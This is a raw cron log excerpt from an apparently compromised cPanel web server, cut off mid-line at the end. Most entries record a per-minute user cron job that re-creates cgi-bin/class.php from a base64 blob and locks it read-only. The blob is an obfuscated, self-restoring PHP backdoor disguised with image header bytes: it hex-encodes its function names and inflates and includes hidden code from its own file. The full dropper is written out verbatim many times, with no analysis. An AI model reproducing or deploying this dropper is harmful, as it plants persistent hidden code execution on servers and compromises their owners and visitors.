QYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:38:01 server CROND[8805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:39:01 server CROND[8870]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  8 15:39:01 server CROND[8871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:40:01 server CROND[8945]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:40:01 server CROND[8947]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:40:01 server CROND[8948]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:40:01 server CROND[8949]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:41:01 server CROND[9061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:42:01 server CROND[9119]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  8 15:42:01 server CROND[9120]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:43:01 server CROND[9167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:44:01 server CROND[9326]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:45:01 server CROND[9398]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:45:01 server CROND[9399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:45:01 server CROND[9400]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:46:01 server CROND[9510]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:47:01 server CROND[9566]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:48:01 server CROND[9637]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:49:01 server CROND[9796]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:50:01 server CROND[9854]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  8 15:50:01 server CROND[9856]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  8 15:50:01 server CROND[9857]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  8 15:50:01 server CROND[9855]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  8 15:50:01 server CROND[9861]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  8 15:51:01 server CROND[9968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 